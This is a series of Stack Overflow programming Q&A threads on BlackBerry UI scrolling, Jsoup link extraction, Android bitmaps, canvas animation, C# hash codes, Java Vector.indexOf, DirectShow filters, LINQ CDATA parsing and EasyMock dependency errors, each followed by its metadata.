Q: Editfield scroll fails to reach top in blackberry I am having 2 EditFields in my login form with names Email: and Password:. Just below email I have login button. Suppose I come down till login, I can scroll back only till password field.The cursor fails to reach Email field. In simulator, I tried using arrow keys as well as trackpad. Please help how to scroll back to first editfield AbsoluteFieldManager ab = new AbsoluteFieldManager(); add(ab); new SeparatorField(); et=new EditField("Email-id:",""); pwd=new PasswordEditField("Password:",""); ab.add(et,35,110); ab.add(pwd,35,150); I am using AbsoluteFieldManager and developing for OS 6.0. I want the loginscreen to look like facebook login page. Kindly let me know what can possibly be the reason for not able to scroll up A: It also may be a RIM bug. What OS do you use? Is it OS 5+? Do you use custom paddings/margins/borders for some of the UI elements on the screen (including the screen itself)? If yes, try to comment out any code that sets paddings/margins/borders to check whether this it the case. A: Maybe it is a RIM bug with the AbsoluteFieldManager. Never used it before so I don't know about it. You can create a work around to solve this problem. Find it below: et=new EditField("Email-id:",""); pwd=new PasswordEditField("Password:","") { protected int moveFocus(int amount, int status, int time) { int cursorPosition = this.getCursorPosition(); if ((cursorPosition == 0) && (amount < 0)) { et.setFocus(); return 0; } else { return super.moveFocus(amount, status, time); } } }; In this way, when you arrive to the first element in the password edit field, you will oblige the email field to get focused. This will work for you as a work around. Another way to solve the problem is to add the two fields in an horizontal field manager, in that way I guess this will work for you for sure. If not use the first method. You can find below the code for HorizontalFieldManager: et=new EditField("Email-id:",""); pwd=new PasswordEditField("Password:",""); HorizontalFieldManager manager = new HorizontalFieldManager(); manager.add(et); manager.add(pwd); ab.add(manager, yourX, yourY); A: You can use this code for your login page: public class loginscreen extends MainScreen implements FieldChangeListener { private int deviceWidth = Display.getWidth(); private int deviceHeight = Display.getHeight(); private VerticalFieldManager subManager; private VerticalFieldManager mainManager; public long mycolor = 0x00FFFFFF; Screen _screen = home.Screen; TextField heading = new TextField(Field.NON_FOCUSABLE); TextField username_ef = new TextField(); PasswordEditField password_ef = new PasswordEditField(); CheckboxField rememberpass = new CheckboxField(); public ButtonField login_bt = new ButtonField("Login", ButtonField.CONSUME_CLICK); public ButtonField register_bt = new ButtonField("Register", ButtonField.CONSUME_CLICK); public loginscreen() { super(); final Bitmap backgroundBitmap = Bitmap.getBitmapResource("bgd.png"); HorizontalFieldManager hfm = new HorizontalFieldManager(Manager.NO_VERTICAL_SCROLL | Manager.NO_VERTICAL_SCROLLBAR ) { protected void sublayout(int width, int height) { Field field; int numberOfFields = getFieldCount(); int x = 245; int y = 0; for (int i = 0;i < numberOfFields;i++) { field = getField(i); setPositionChild(field,x,y); layoutChild(field, width, height); x +=_screen.getWidth()-381; y += 0;//l17 } width=_screen.getWidth(); height=48;//w19 setExtent(width, height); } }; mainManager = new VerticalFieldManager(Manager.NO_VERTICAL_SCROLL | Manager.NO_VERTICAL_SCROLLBAR ) { public void paint(Graphics graphics) { graphics.clear(); graphics.drawBitmap(0, 0, deviceWidth, deviceHeight, backgroundBitmap, 0, 0); super.paint(graphics); } }; //this manger is used for adding the componentes subManager = new VerticalFieldManager(Manager.VERTICAL_SCROLL | Manager.VERTICAL_SCROLLBAR ) { protected void sublayout( int maxWidth, int maxHeight ) { int displayWidth = deviceWidth; int displayHeight = deviceHeight; super.sublayout( displayWidth, displayHeight); setExtent( displayWidth, displayHeight); } public void paint(Graphics graphics) { graphics.setColor((int) mycolor); super.paint(graphics); } }; username_ef.setLabel("Username: "); password_ef.setLabel("Password: "); rememberpass.setLabel("Remember Password"); heading.setLabel("Please enter your credentials: "); username_ef.setMaxSize(8); password_ef.setMaxSize(20); subManager.add(heading); subManager.add(username_ef); subManager.add(password_ef); subManager.add(rememberpass); subManager.add(new SeparatorField()); login_bt.setChangeListener(this); register_bt.setChangeListener(this); hfm.add(login_bt); hfm.add(register_bt); subManager.add(hfm); mainManager.add(subManager); this.add(mainManager); } public boolean onSavePrompt() { return true; } public void fieldChanged(Field field, int context) { // TODO Auto-generated method stub if(field == login_bt) { //do your code for login button click } if(field == register_bt) { //code for register button click } }} A: What you have described is not normal behavior. My conclusion is that your code has one or more bugs, in order to solve your problem you should modify your code to fix the bugs. You will then be able to scroll up and down through the various fields. note: As this question stands it's not possible for me to be more specific about the exact bugs. So instead I will show you an example of the layout you described that would scroll properly and you can use as a default to determine which of your deviations have caused your bugs. // inside MainScreen constructor add(new EditField("Username:","",0)); add(new EditField("Password:","",0)); add(new ButtonField(buttonBMP,ButtonField.CONSUME_CLICK));
{ "language": "en", "url": "https://stackoverflow.com/questions/7620395", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "4" }
Q: Jsoup Element.attr() returning unexpected value (Android) i'm using JSoup to parse a webpage like this, and make it into two string arrays, one for each of the items text values (to be displayed in a ListActivity) and one for the links. some of these text values have special characters which jsoup has trouble parsing. at first i used: Document doc = Jsoup.connect(URL).get(); maintable = doc.select(".kader").first(); to get the element for the table with the content. in another thread here someone said it would work using Jsoup.parse(html), so i changed it to this: Document doc = Jsoup.connect(URL).get(); Document DOC = Jsoup.parse(doc.html()); if(doc.select(".kader") != null){ maintable = DOC.select(".kader").first(); } however this did not seem to work either. so i left that as something later to solve (here perhaps) but it is not my main problem. if i try to get a String array of all the links displayed in the main content i would use this method: public String[] getTranslationLinks(){ String[] items = new String[alllinks.size()]; Element tempelement; for(int i = 0;i<items.length;i++){ tempelement = alllinks.get(i); items[i] = tempelement.attr("abs:href"); } return items; } the debugger says that tempelement contains the proper element, but for some reason the .attr("abs:href") doesnt return the link as requested. tempelement would for instance contain: <a href="./vertaling.php?id=6518" target="_top" title="">Hoofdstuk 3, tekst A: Herakles de slaaf</a> but the .attr(abs:href) returns "". do any of you know a way to solve these problems? A: Your best bet is to create a small compilable and runnable bit of code that demonstrates your problem, an SSCCE. For instance, when I created my SSCCE based on my interpretation of your problem, it seemed to work. This was the code: import java.io.IOException; import org.jsoup.Jsoup; import org.jsoup.nodes.Document; import org.jsoup.nodes.Element; import org.jsoup.select.Elements; public class Kader { private static final String MAIN_URL = "http://www.latijnengrieks.com/categorie.php?id=120"; private static final String ALL_LINKS = "a[href]"; private static Element maintable; public static void main(String[] args) { Document jsDoc = null; try { jsDoc = Jsoup.connect(MAIN_URL).get(); maintable = jsDoc.select(".kader").first(); Elements alllinks = maintable.select(ALL_LINKS); String[] translationLinks = getTranslationLinks(alllinks); for (String tLink : translationLinks) { System.out.println(tLink); } } catch (IOException e) { e.printStackTrace(); } } public static String[] getTranslationLinks(Elements alllinks){ String[] items = new String[alllinks.size()]; Element tempelement; for(int i = 0;i<items.length;i++){ tempelement = alllinks.get(i); items[i] = tempelement.attr("abs:href"); } return items; } } And this was the output: http://www.latijnengrieks.com/vertaling.php?id=5586 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=6342 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=6159 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=5368 http://www.latijnengrieks.com/profiel.php?id=11 http://www.latijnengrieks.com/vertaling.php?id=5371 http://www.latijnengrieks.com/profiel.php?id=11 http://www.latijnengrieks.com/vertaling.php?id=5797 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=6310 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=5799 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=5776 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=5861 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=5521 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=5622 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=5692 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=6367 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=5910 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=6011 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=5940 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=6009 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=5573 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=5572 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=5778 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=5993 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=5623 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=5642 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=6000 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=5798 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=5578 http://www.latijnengrieks.com/profiel.php?id=1 http://www.latijnengrieks.com/vertaling.php?id=6415 http://www.latijnengrieks.com/profiel.php?id=14
{ "language": "en", "url": "https://stackoverflow.com/questions/7620397", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "2" }
Q: How to convert image file data in a byte array to a Bitmap? I want to store image in SQLite DataBase. I tried to store it using BLOB and String, in both cases it store the image and can retrieve it but when i convert it to Bitmap using BitmapFactory.decodeByteArray(...) it return null. I have used this code, but it returns null Bitmap bitmap = BitmapFactory.decodeByteArray(blob, 0, blob.length); A: The answer of Uttam didnt work for me. I just got null when I do: Bitmap bitmap = BitmapFactory.decodeByteArray(bitmapdata, 0, bitmapdata.length); In my case, bitmapdata only has the buffer of the pixels, so it is imposible for the function decodeByteArray to guess which the width, the height and the color bits use. So I tried this and it worked: //Create bitmap with width, height, and 4 bytes color (RGBA) Bitmap bmp = Bitmap.createBitmap(imageWidth, imageHeight, Bitmap.Config.ARGB_8888); ByteBuffer buffer = ByteBuffer.wrap(bitmapdata); bmp.copyPixelsFromBuffer(buffer); Check https://developer.android.com/reference/android/graphics/Bitmap.Config.html for different color options A: Just try this: Bitmap bitmap = BitmapFactory.decodeFile("/path/images/image.jpg"); ByteArrayOutputStream blob = new ByteArrayOutputStream(); bitmap.compress(CompressFormat.PNG, 0 /* Ignored for PNGs */, blob); byte[] bitmapdata = blob.toByteArray(); If bitmapdata is the byte array then getting Bitmap is done like this: Bitmap bitmap = BitmapFactory.decodeByteArray(bitmapdata, 0, bitmapdata.length); Returns the decoded Bitmap, or null if the image could not be decoded.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620401", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "135" }
Q: HTML5 Canvas | How can I make this work smoother and better? I am trying to create a wave animation in my canvas, but it works really slowly (Probably because of bad code). How can I make this work smoother, and make the Wave(Math.sin) look more like a sea wave? Here is the code: <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title>HTML 5 site</title> <style> #canvas{ margin:0 auto; } *{ overflow:hidden; } </style> <script src="jquery-1.6.4.min.js"></script> </head> <body> <div id="warp"> <canvas id="canvas" style="border:1px solid black;" /> Your Browser does not support HTML5; </canvas> </div> <script> $(document).ready(function(){ resizeCanvas(); function resizeCanvas() { $("#canvas") .attr('width', $(window).width()) .attr('height', $(window).height()); } $(window).resize(resizeCanvas()); x=0;y=0; var ctx = $("#canvas").get(0).getContext('2d'); $('#canvas').mousemove(function(e){ resizeCanvas(); for(var i=0;i<=$(window).width();i++){ y =Math.sin((i+x)*50)*12; ctx.fillStyle = "blue"; ctx.arc(i, y+100, 4, 0, 2*Math.PI); ctx.fill(); } x+=20; }); }); </script> </body> </html> A: I changed the code quite a bit, removed the dependency for jQuery. The main thing however that I did to speed up your code was move the fill to be called only once after the draw operations, and start/end the drawing of the path. Also I was confused by the recalling of resizeCanvas() I would just tie that to the window.onresize event and just set the canvas to the innerwidth/innerheight of the window. Live Demo var canvas = document.getElementById('canvas'), ctx = canvas.getContext('2d'), x=0,y=0; canvas.width = window.innerWidth; canvas.height = window.innerHeight; canvas.onmousemove= function(e){ //clear the canvas ctx.clearRect(0,0,canvas.width,canvas.height); ctx.fillStyle = "blue"; var width = window.innerWidth; // start the path ctx.beginPath(); //draw it for(var i=0;i<=width;i++){ y=Math.sin((i+x)*50)*12; ctx.arc(i, y+100, 4, 0, 2*Math.PI); } //close it ctx.closePath(); //fill it ctx.fill(); x+=20; }
{ "language": "en", "url": "https://stackoverflow.com/questions/7620402", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: C#: override GetHashCode, what does this code do? Here's the code I found in the Nhibernate 3 Beginners Guide to override GetHashCode. I don't understand why it uses result * 397. If 397 just a random number he use to generate unique result?? Can we just GetHashCode for firstname, middlename and lastname, then combine it together using ^, it should also generate an unique result. public override int GetHashCode() { unchecked { var result = FirstName.GetHashCode(); result = (result*397) ^ (MiddleName != null ? MiddleName.GetHashCode() : 0); result = (result*397) ^ LastName.GetHashCode(); return result; } } A: Multiplying the intermediate hash code by a given number as part of each combination will mean the ordering of the combined has codes will not be irrelevant. If you just did an exclusive or on the three name parts, then "John William James" would give the same hash code as "James William John". 397 is chosen because it is a prime number large enough sufficient to cause the hash code to overflow, and this helps generate a good distribution of hash codes. The overflow is the reason this code has to sit inside an unchecked block. A: Multiplication is also basically bit shift (exactly bit shift if * a power of 2), so it has that effect on the computed value here, but as to why precisely 397, well that is just how this paticular hash algorithm was written. Yes, other values, indeed more complex algorithms are often used as a hashing algorithm. This is different from simply XORing 3 hashcodes together, and will result in far fewer 'hash collisions' - where 2 (or more) objects hash to the same value (something to be minimized if not avoided in a good hash function)
{ "language": "en", "url": "https://stackoverflow.com/questions/7620405", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "2" }
Q: Vector.indexOf won't work for my class I'm building simple phonebook. Thus a have created a class "Person": public class Person implements Comparable<Person> { String Name; String number; public Person(String name,String Num) { Name=name; number=Num; } public String getNumber() { return number; } public String getName() { return Name; } @Override public int compareTo(Person another) { return Name.compareTo(another.getName()); } @Override public String toString() { return Name; } @Override public boolean equals(Object obj) { if(!(obj instanceof Person) && !(obj instanceof String)) { return false; } else { if(obj instanceof Person) return Name.toLowerCase().equals(((Person)obj).getName().toLowerCase()); else return Name.toLowerCase().equals(((String)obj).toLowerCase()); } } @Override public int hashCode() { return Name.hashCode(); } } In some other part of the program i'm creating a Vector, populate it with "Person" objects but when i try to search a person BY NAME using vctPerson.indexOf("John") I always get -1 as result (not found). What's wrong with my code? I have implemented custom "equals" that should work with strings, and according to docs, "indexOf" is using "equals" to compare objects... EDIT: I KNOW, I SHOULD SEARCH AFTER PHONE NUMBER, NOT NAME BUT IT's IRRELEVANT FOR THIS EXAMPLE A: you called vctPerson.indexOf("John") . In this case, Vector call "John".equals( vctPerson.get( indexValue ) . As equals of String is called, String's equals compare "John" and Person object. But as String's equals() does not return true when target object is not an instance of String, "John".equals( vctPerson.get( indexValue ) always return false. So result is always -1. So, you can't use vctPerson.indexOf("John"). If you want to use vector, you need to traverse vector manually. A: What Vector does in indexOf: if (o.equals(elementData[i])) where o would be "John". So you would have to override Sting.equals to do the right comparison (just kidding). Or you could use vector.indexOf(new Person("John", null)); which will call your equals. Strictly speaking that will solve your question. But in the long run you should not use Vector for that, because every indexOf call will iterate through the list - this is not very efficient. A better way is a Map like HashMap where you can store key-value pairs. Lookup using the key is much cheaper than Vector.indexOf if here are a couple of entries. Map<String, Person> map = new HashMap<String, Person>(); Person p = new Person("John", "1234"); map.put(p.getName().toLowerCase(), p); // loopup Person john = map.get("John".toLowerCase()); A: Your equals is broken: You objects may equal to a String (and that's what you're trying to exploit), but no String may ever equal to you object. Breaking symmetry of equals breaks everything. A: Well, to be on the safe side you can always use 1) Map<String,Person> to make the relation between a person and his name 2) Make your own class that extends java.util.Vector and overrides its indexOf method 3) place a breakpoint in your equals method and see what's going on when indexOf gets called. Whatever's going on, though, it's better that you don't rely on the current implementation of indexOf that's specified in the JDK documentation since it may get changed upon the release of a next version of the JDK :)
{ "language": "en", "url": "https://stackoverflow.com/questions/7620407", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "2" }
Q: How do i set Maven to retrieve dependencies first from my own remote repository (Archiva)? How do i set Maven to retrieve external dependencies first from my own remote repository (using Archiva), and if its not found, Archiva will download from external sources, and at the same time saves the downloaded dependency? A: You essentially have to set up your .m2/settings.xml file, nothing fancy. Here is a pretty comprehensive guide. While based on Artifactory, the aspects of POM configuring are obviously general. That should give you all the information you need.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620408", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "2" }
Q: document.write loop not working remotely The problem: doesnt output an image. image name (1).jpg up to (42).jpg <script type=text/javascript> var i=1; while (i<=42) { document.write("<div style=min-height:200px; onmouseover=\"innerHTML=\'<img style=width:800px; src=("); document.write(i); document.write(").jpg/>\'\">Hover</div>" + i); i++; } </script> Additional info: * *tried this locally with wamp and it worked fine A: This is the result of the above code: <div style="min-height:200px;" onmouseover="innerHTML='&lt;img style=width:800px; src=(1).jpg/&gt;'"><img style="width:800px;" src="(1).jpg/"></div> What do you mean that is not working? If you mean that does not display the images after the hover then you have to correct the image path. Look if the images are located in the same folder with the page that run that code, otherwhise correct the path.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620409", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "-3" }
Q: Links in HTML image map not working in FireFox, Opera, Chrome and Safari Is anyone able to help here? I have an image map formed of a .png image which has several 'polygon' areas defined in it, each with a link behind it. The links work in IE, but for the other browser types listed above, the links do nothing except display the image and the title text over each polygon area. The code for the image map is as follows: <img title = "Concept" border = "0" src = "../images/myMap.png usemap = "#myMap"> <map name = "myMap"> <area shape = "polygon" coords = "315, 230, 545, 415, 260, 575, 10, 700, 10, 285" title = "Rules" href = "#rules" /> <area shape = "polygon" coords = "745, 450, 745, 680, 470, 745, 325, 635, 520, 450" title = "Polling" href = "#polling" /> <area shape = "polygon" coords = "745, 730, 745, 895, 450, 895, 450, 815, 565, 730" title = "Visualisations" href = "#visualisations" /> </map> All the links point to areas of the page denoted by: <h2><a name = "#rules">Rules</a></h2> It is very odd. The version of the HTML heading the page is: <!DOCTYPE html> And I've tried the image as .gif and .jpeg files to no effect. If I change the links in the image map to: <area shape = "polygon" coords = "315, 230, 545, 415, 260, 575, 30, 441, 315, 230" title = "rules" href = "<c:url value = '/aboutConcept#rules' />" /> I find things work. I am using JSTL tags. Thanks to the respondents. A: A couple things which may be causing issues: * *Use the shape name poly. That's what the spec calls for http://www.w3.org/TR/REC-html40/struct/objects.html#h-13.6 *make sure the coordinates are in the exact order. Some browsers choke on out of order coords. *in a polygon, the first and last coordinates need to be the same to close the shape. A: Does the URL change when you click? E.g. #rules? The url (href) "#rules" refers to an element named "rules" not "#rules". IE is being overly tolerant. You rarely need <a name="rules"> any more, just give any element id="rules". A: Worth closing your tags properly as well. You've missed a closing quote on img src: That may be the cause of your problems as the browser may not even see the usemap property.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620412", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: Interface Downcasting Please suppose I have the following extension method in order to be able to force evaluation of an IEnumerable: public static List<T> EvaluateNow<T>(this IEnumerable<T> collection) { if (collection == null) { throw new ArgumentNullException("collection"); } else { return (collection.ToList()); } } I would like to ask if there is any point in having IList<T> instead of List<T> as this method's return type (i.e., downcasting to an interface) in order to tie neither it nor its dependencies to a particular implementation (even if the return value will always actually be a List). A: It is always a good idea to use interfaces in situations like this rather than classes. The reasons why are too numerous to get into here, but for example, it greatly increass flexibility as any class just needs to implement the interface IList<T> to be assignable to the return value of this function. Classes will implement this (or other) interfaces without subclassing List (or equivalent). In general you want to use the 'lowest' heirachical interface that fits the requirements. In this case, you could consider ICollection, or even IEnumerable instead of IList. It is irrelevant what class instance you return from the function, as only 'the interface' is returned, so it can be assigned to any class implementing that interface (again, max flexibilty?) Often a function returning some IEnumerable object will mostly be used inside a foreach loop. A: An extension method can only be called on an instance. Which means that collection can never be null in your method. So... as written your method has the exact same behavior the extension method IEnumerable.ToList so I don't see any point. It would be useful if its return type was IList as Aaron explains in his answer. Why does IEnumerable.ToList not already return a IList would be a good question for the library designers.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620422", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: XCode – XCode 4.2 beta ARC will not compile I'm trying to build a simple OS X Command Line application in XCode 4.2 beta (Build 4D58). But I'm getting an error when I try to compile it saying: /Developer/SDKs/MacOSX10.7.sdk/System/Library/Frameworks/Foundation.framework/Headers/NSZone.h:57:22: error: 'CFMakeCollectable' is unavailable: not available in automatic reference counting mode [3] return (cf ? (id)CFMakeCollectable(cf) : nil); And /Developer/SDKs/MacOSX10.7.sdk/System/Library/Frameworks/Foundation.framework/Headers/NSObject.h:173:13: error: use of undeclared identifier '__bridge_retain' [3] return (__bridge_retain CFTypeRef)X; I guess this has something to do with ARC but I'm not sure what to do have my application compile? A: Xcode 4.2 beta is under NDA. You'd better to search "NSZone.h NSObject.h" for all periods in the developer forum. You will find the exact same question as yours.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620425", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: Implementing Directshow IFileSourceFilter interface in a CSource based Filter I implement simple Directshow Filter which derived from CSource filter. It work fine. What i want is to add the filter IFileSourceFilter. So what i do for this is: I implement FileSourceFilter interface with two methods: HRESULT Load(LPCOLESTR lpwszFileName, const AM_MEDIA_TYPE *pmt) HRESULT GetCurFile(LPOLESTR * ppszFileName, AM_MEDIA_TYPE *pmt) For now [ Just for test purposses] They do nothing // Required by IFileSourceFilter STDMETHODIMP Load(LPCOLESTR lpwszFileName, const AM_MEDIA_TYPE *pmt) { // do nothing for now...Just for test return S_OK; } STDMETHODIMP GetCurFile(LPOLESTR * ppszFileName, AM_MEDIA_TYPE *pmt) { // do nothing for now...Just for test return S_OK; } And also add the IFileSourceFilter interface to NonDelegatingQueryInterface method of my source filter. STDMETHODIMP NonDelegatingQueryInterface(REFIID riid, void **ppv) { if (riid == IID_IFileSourceFilter) { return GetInterface((IFileSourceFilter *)this, ppv); } else { return CSource::NonDelegatingQueryInterface(riid, ppv); } } When i insert my SourceFilter into the grapgEdit it nicely ask me file location...I give a random file[ for test porposes IFileSourceFilter interfcae DO nothing for now)... AndThen my SourceFilter Crash at the grah edit tool suddenly... . Whay may be wrong?Do i missing something while implementing IFileSourceFilter interface? Any suggestion ideas for which may cause this? Best Wishes My SourceFilter Structure: class MySourceFilter : public CSource,public IFileSourceFilter { public: .... DECLARE_IUNKNOWN; STDMETHODIMP NonDelegatingQueryInterface(REFIID riid, void **ppv) { if (riid == IID_IFileSourceFilter) { return GetInterface((IFileSourceFilter *)this, ppv); } else { return CSource::NonDelegatingQueryInterface(riid, ppv); } } // Required by IFileSourceFilter STDMETHODIMP Load(LPCOLESTR lpwszFileName, const AM_MEDIA_TYPE *pmt) { // do nothing for now...Just for test return S_OK; } STDMETHODIMP GetCurFile(LPOLESTR * ppszFileName, AM_MEDIA_TYPE *pmt) { // do nothing for now...Just for test return S_OK; } } A: I think you should return E_FAIL for now in the getCurFile function. Graphedit will ask the filter which file is loaded, and expects to receive the filename when GetCurFile returns S_OK. But ppszFileName will point to random memory, if you don't initialize it. It would be better to actually return a value in getCurFile. Allocate memory using CoTaskMemAlloc for both the filename and mediatype. Then set a dummy filename, and memset the mediatype to 0. (but check if the pointers are not null).
{ "language": "en", "url": "https://stackoverflow.com/questions/7620426", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: Getting CDATA XML Section Using Linq I have searched around looking for ways to get at the CDATA section text area and found very luk warm solutions using linq. I need to extract the XML imbedded in the CDATA Section so I can pull out different pieces of info. I have the following XML: <Envelope> <Warehouse /> <Payload> - <![CDATA[ <?xml version="1.0"?> <ROOT> <ORDERID>399798</ORDERID> <PRODUCTNUMBER>00003997</PRODUCTNUMBER> <DESCIPTION>Red Rider BB-Gun</DESCIPTION> <STATUS>InStock</STATUS> <LOCATION>Chicago</LOCATION> </ROOT> ]]> </Payload> </Envelope> So I would like if possible to do this by extracting the whole cdata section into an XDocument so I can use Linq to query. Also if I just wanted to pull out a single Element from the CData section. How can I do this? Using Linq? I have tried using this Linq code below to give me back cdata section but can't do anything with it since it comes back as an IEnumerable. I'm probably missing something easy so I come to you the Linq wizards for some help. Here's the code I mentioned: var queryCDATAXML = from el in xdoc.DescendantNodes() where el.NodeType == XmlNodeType.CDATA select el.Parent.Value.Trim(); Is there a way to do a select new XDocument or XmlDocument like so: //This doesn't compile. var queryCDATAXML = from el in xdoc.DescendantNodes() where el.NodeType == XmlNodeType.CDATA select new XDocument() { el.Parent.Value.Trim(); } If I am going about this all wrong or their is a better way to accomplish this I'm open for suggestions. :) Thanks, DND Code Update: var queryCDATAXML = from el in xdoc.DescendantNodes() where el.NodeType == XmlNodeType.CDATA select el.Parent.Value.Trim(); var xdoc = XDocument.Parse(queryCDATAXML); Generates this error: Argument '1': cannot convert from 'System.Collections.Generic.IEnumerable' to 'string'. A: Rather than new XDocument, try XDocument.Parse var queryCDATAXML = // get the value var xdoc = XDocument.Parse(queryCDATAXML); You're getting some Enumerable<string> rather than string, so you need to just get the single value. var node = xdoc.DescendantNodes().Single(el => el.NodeType == XmlNodeType.CDATA); var content = node.Parent.Value.Trim(); var xdoc = XDocument.Parse(content); A: I resolved this case in this form: XDocument xdoc = XDocument.Parse(vm.Xml); XNamespace cbc = @"urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2"; var list2 = (from el in xdoc.Descendants(cbc + "Description") select el).FirstOrDefault(); var queryCDATAXML = (from eel in list2.DescendantNodes() select eel.Parent.Value.Trim()).FirstOrDefault(); I hope help them
{ "language": "en", "url": "https://stackoverflow.com/questions/7620434", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "3" }
Q: Getting RunTimeError while writing Junit with EasyMock? i am writing the junit using easy mock for my program. Below is the test method public static void doBeforeEachTestCase() { private static FibanocciProg mock; mock = EasyMock.createMock(FibanocciProg.class); FibanocciProg testObject= new FibanocciProg(); EasyMock.expect(mock.recursionFib1(6)).andReturn(50); EasyMock.replay(mock); int actual = testObject.recursionFib1(6); } I am getting below error in eclipse while EasyMock.createMock. The libs i have downloaded for easy mock are:- easymock-3.0,cglib-2.2.2,asm-4.0_RC2 Exception in thread "main" java.lang.VerifyError: class net.sf.cglib.core.DebuggingClassWriter overrides final method visit.(IILjava/lang/String;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)V at java.lang.ClassLoader.defineClass1(Native Method) at java.lang.ClassLoader.defineClassCond(Unknown Source) at java.lang.ClassLoader.defineClass(Unknown Source) at java.security.SecureClassLoader.defineClass(Unknown Source) at java.net.URLClassLoader.defineClass(Unknown Source) at java.net.URLClassLoader.access$000(Unknown Source) at java.net.URLClassLoader$1.run(Unknown Source) at java.security.AccessController.doPrivileged(Native Method) at java.net.URLClassLoader.findClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) at net.sf.cglib.core.AbstractClassGenerator.<init>(AbstractClassGenerator.java:38) at net.sf.cglib.core.KeyFactory$Generator.<init>(KeyFactory.java:127) at net.sf.cglib.core.KeyFactory.create(KeyFactory.java:112) at net.sf.cglib.core.KeyFactory.create(KeyFactory.java:108) at net.sf.cglib.core.KeyFactory.create(KeyFactory.java:104) at net.sf.cglib.proxy.Enhancer.<clinit>(Enhancer.java:69) at org.easymock.internal.ClassProxyFactory.createEnhancer(ClassProxyFactory.java:259) at org.easymock.internal.ClassProxyFactory.createProxy(ClassProxyFactory.java:174) at org.easymock.internal.MocksControl.createMock(MocksControl.java:60) at org.easymock.EasyMock.createMock(EasyMock.java:104) at TestMock.doBeforeEachTestCase(TestMock.java:19) at TestMock.main(TestMock.java:13) Any Pointers? A: You have the wrong version of the dependencies for Easymock. Looking at the maven pom for EasyMock 3.0, the dependencies are: <dependency> <groupId>cglib</groupId> <artifactId>cglib-nodep</artifactId> <version>2.2</version> </dependency> <dependency> <groupId>org.objenesis</groupId> <artifactId>objenesis</artifactId> <version>1.2</version> </dependency> or the EasyMock documentation: Requirements * *EasyMock only works with Java 1.5.0 and above. *cglib (2.2) and Objenesis (1.2) must be in the classpath to perform class mocking So you're using version 2.2.2 rather than 2.2. java.lang.VerifyError generally happens when you've compiled against one library but then are executing against another version of the library. See the answers to Reasons of getting a java.lang.VerifyError and the javadoc for java.lang.VerifyError Note: to find the above dependency details, you simply need to search on Maven Search.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620435", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
